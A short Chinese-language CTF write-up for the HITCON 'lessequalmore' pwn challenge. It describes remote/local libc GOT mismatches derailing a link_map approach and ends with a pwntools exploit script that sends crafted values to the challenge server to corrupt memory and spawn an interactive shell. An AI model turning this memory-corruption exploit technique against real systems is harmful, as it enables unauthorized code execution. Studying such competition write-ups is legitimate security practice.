SUBformore (13 solves)

一开始想打dl的link_map,结果本地通了,远程调了半天。。。中间还以为是libc版本的问题用各种版本的libc都试了,还用他给的dockfile起了docker然后本地docker打通了结果远程还是不行。最后通过单字节的泄露发现远程和本地的libc除了got表上的数据其它好像都一样(被远程环境坑的最惨的一次,在一血出来前两个小时本地就通了,但就因为远程和本地libc的got表数据不一样把一血给玩没了……

早知道一开始就老实打io_file了(

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/usr/bin/python2
from pwn import *

# io = process(['./lessequalmore', 'chal.txt'])
io = remote('chal-lessequalmore.chal.hitconctf.com', 11111)

ru = lambda x : io.recvuntil(x, drop = True)
sl = lambda x : io.sendline(x)
ia = lambda : io.interactive()

def f(s):
pld = []
for x in s:
pld.append('%' + str(ord(x)))
return pld

ru('*** Flag Checker ***\n')
for x in f(0x5b * 'i' + '\x6c'):
sl(x)

sl('%x82')
sl('%x53b9c')
sl('%x77')

sl('%x83')
sl('%x53cd2')
sl('%x72')

sl('%x84')
sl('%x53ced')
sl('%x72')

sl('%x85')
sl('%x53b9d')
sl('%x77')

sl('%x86')
sl('%x53ce6')
sl('%x77')

sl('%x81')
sl('%x53cea')
sl('%x77')

sl('%x7e')
sl('%x81')
sl('%xffffffffffff7777')

sl('%xffffffffffff7777')
sl('%x12dfeb')
sl('%x933a0067')
sl('%x580')
sl('%x58')
sl('%xfffffffffffffc88')
sl('%xffffffffffffffff')

for x in f('i' * 0x39b):
sl(x)
ia()